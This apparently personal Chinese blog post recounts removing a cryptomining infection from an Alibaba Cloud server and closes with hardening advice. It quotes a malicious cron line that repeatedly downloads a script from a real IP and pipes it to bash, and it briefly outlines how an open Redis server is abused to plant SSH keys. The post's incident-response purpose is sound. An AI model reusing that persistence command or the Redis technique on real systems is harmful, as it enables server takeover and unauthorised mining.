不用急,这个时候最简单的方法是在阿里云里提一个工单,反馈相关问题。
解禁服务器
要解决问题、排查删除挖矿程序,首先我们需要解禁服务器,登录阿里云官方平台后,依次点击 控制台
-> 个人头像
-> 安全管控
进入相关页面。
在处罚列表,我们可以看到相关处罚记录,点击解除封禁
后即可正常进入服务器了。
会有提示,需要在解禁后三日内找到挖矿程序,并删除,否则官方会再次封禁服务器,而且无法再次进行解封(差不多意思就是,这个服务器就废了!直接被官方回收)
问题排查
“黑客”是怎么登录控制我的服务器的?
我们首先可以看阿里云提供的漏洞管理监测
,发现确实有一个漏洞,提示:Redis 未授权弱口令
。
我网络上查了,确实可以通过Redis向系统注入本地公钥到服务器的/root/.ssh/authorized_keys
中,然后“黑客”就可以在本地免密登录你的服务器了。。。
所以,如果你的服务器上安装了redis的话,可以首先考虑这个问题,引起这个问题的主要原因一般有:
- Redis设置了可远程登录(公网访问)
- Redis没有设置密码或者密码很简单
所以不是业务需求的话,不要开放redis远程登录,另外设置一个较为复杂的、不会在网络出现的密码,开放端口也可以改下,另外还有一个点就是不要用root用户启动redis,这样即使远程连接上redis,也无法去修改root下权限了~
具体相关介绍可以看这篇文章:blog.csdn.net/fdl123456/a…
上面了了可能是redis弱命令导致了“黑客”有机会登录我们的服务器,但我看了,我朋友的服务器上并没有安装redis(也不知道为啥阿里云会检测出这个漏洞)。。。
那我继续找问题,首先需要登录服务器,问登录密码的时候发现,登录密码在(阿里云客服)工单里?有点懵哈哈哈哈。。。
找到挖矿程序
一般来说,挖矿程序要想一直运行,那么必然会设置一些定时任务,在linux下一般用cron进行设置,其中用户可以使用crontab来设置定时任务。
首先我们可以输入crontab -e
编辑root用户的crontab文件内容,看看是否有定时任务;
crontab -e
复制代码
(默认是使用vim编辑器,如果要退出编辑模式,可以先按ESC,再输入:qw
回车即可退出,Linux相关操作具体可以看拥有有一台服务器后,我竟然这么酷?)进入文件编辑,虽然指令不怎么能看懂,但是看到了一个网址、一个ip地址,首先非常确定这个ip不是我目前登录的这个服务器的,而且看整理链接,应该是下载了一个a.sh
文件,有点矿味了~
*/30 * * * * /bin/cdz -fsSL http://104.192.82.138/sxxxxx5/a/a.sh | bash > /dev/null 2>&1
复制代码
我退出后,他还显示我没有修改权限?他奶奶的~可以使用ls -l /tmp/crontab.LQJ6aT
查看文件权限所属人,当然可以直接用sudo
指令强制修改或者删除。
我们可以查了下这个IP地址基本信息,可以看到,是一个美国的ip~那就八九不离十了,就是个挖矿的!!!
那我们就继续来研究下前面找到的crontab
问题,首先进入到/tmp
目录下,查看所有crontab相关文件内容~
发现有的有,有的没有,我们直接使用rm -rf 文件名
删除所有相关文件:
sudo rm -rf crontab.*
复制代码
我以为应该这样就好了,再次运行crontab -e
,发现会生成新的crontab.*
文件,而且自动有挖矿的内容~离谱!!!
思前想后,可能是crontab
配置的问题,输入下面指令看看相关配置文件~果不其然,
cat /etc/crontab
复制代码
虽然还是不能完全看懂命令含义,但是看到这个newinit.sh
就知道没好事,
于是在自己云服务器上看了看,果然不同。
从网络上crontab
相关教程也可以看出,我自己的是正常的~
那是不是修改下crontab
配置文件就可以了呢?
服务器安全防范建议
首先防范的前提是不影响我们使用,甚至所有操作应该是方便我们使用的。
1、目前我还是推荐初次接触或者对云服务器不熟的读者朋友使用宝塔面板
来登录、操作服务器内容,具体功能和使用方法,大家可以看我之前的分享Linux里的宝塔,真正的宝塔!详细教程。
2、所有安装的应用服务,尽量不要使用默认端口号,有密码的设置密码,不要嫌麻烦,可以是用1password.com
这个网站生成随机密码,我之前也分享过一个脚本~
import string
import random
while True:
try:
password_len = int(input('请输入密码长度(只能是数字):'))
password = ''.join(random.choices(string.printable.strip(), k=password_len))
print(f'你的新密码为:{password},请保存好~')
except Exception as e:
print(f'【出错啦】看看是不是输入错误吧,可能是输入了非数字内容,错误信息:{e}')
print('*** 想结束就输入0吧!!!***')
print('*** 回车继续生成新密码 ***')
flag = input('是否继续生成新密码:')
if flag == '0':
break
print('******************************************')
3、系统自带的防火墙、安全防护都不要关闭~